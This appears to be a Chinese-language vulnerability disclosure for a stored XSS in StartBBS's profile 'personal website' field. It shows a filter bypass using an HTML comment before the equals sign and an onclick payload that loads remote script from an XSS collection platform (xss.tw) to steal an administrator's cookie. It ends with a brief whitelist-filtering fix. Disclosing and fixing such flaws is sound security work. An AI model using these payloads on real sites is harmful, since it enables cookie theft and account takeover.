startbbs某处对用户输出过滤不当导致存储型xss startbbs 采用m vc架构设计。但是在对用户个人资料输入输出过滤不当,导致跨站脚本攻击。 1、目标定位在: 多个用户可以输入的地方,我拿个人网站输入的地方做测试。 先输入” onmouseover=alert(1) 发现被过滤成: 经过测试之后,发现凡是带了onxx的,等号都会被过滤。 这个时候是不是就没办法了呢?非也非也。 经过fuzz之后,发现可以这么绕过: onmouseover<!—->=”alert(1)// 解释下:因为在 html里头是用<!—->注释的,刚刚好,这里没有过滤<>字符。因此可以这么绕过。 但是最后在加载js的时候,发现事实远远没有我想的那么简单。 万恶的竟然控制了长度,这个时候就不能用onmou seover,只能采用onclick。 而因为站点采用了jq,因此我们可以这么写 “onclick<!—->=$.getScript(‘http://xss.tw/5524’) 最后问题又来了,我们发现这么写不能触发,原因是多了一个双引号: 非常有意思,我们可以在 $.getScript之前加一个”闭合他。 “onclick<!—->=”$.getScript(‘http://xss.tw/5524’) 最后用户点击了我的个人网站之后,就会变成: 可能这里有一个疑问,为什么获取不了数据? 因为最近xss.tw平台cookie数据爆满了,无论是什么数据都会显示为空。。很悲催- – 我们可以看看自己的cookie,是没有httponly的: 证实一下:
上面已经写清楚了。。 虽然最后因为xss.tw的原因没有拿到cookie登陆,但是已经证明可以通过这样的方式引入js,并且cookie键值没加httponly,是可以盲打管理员的。 修复方案: 仔细检查下用户输入与输出。白名单过滤 |
评论前必须登录!
立即登录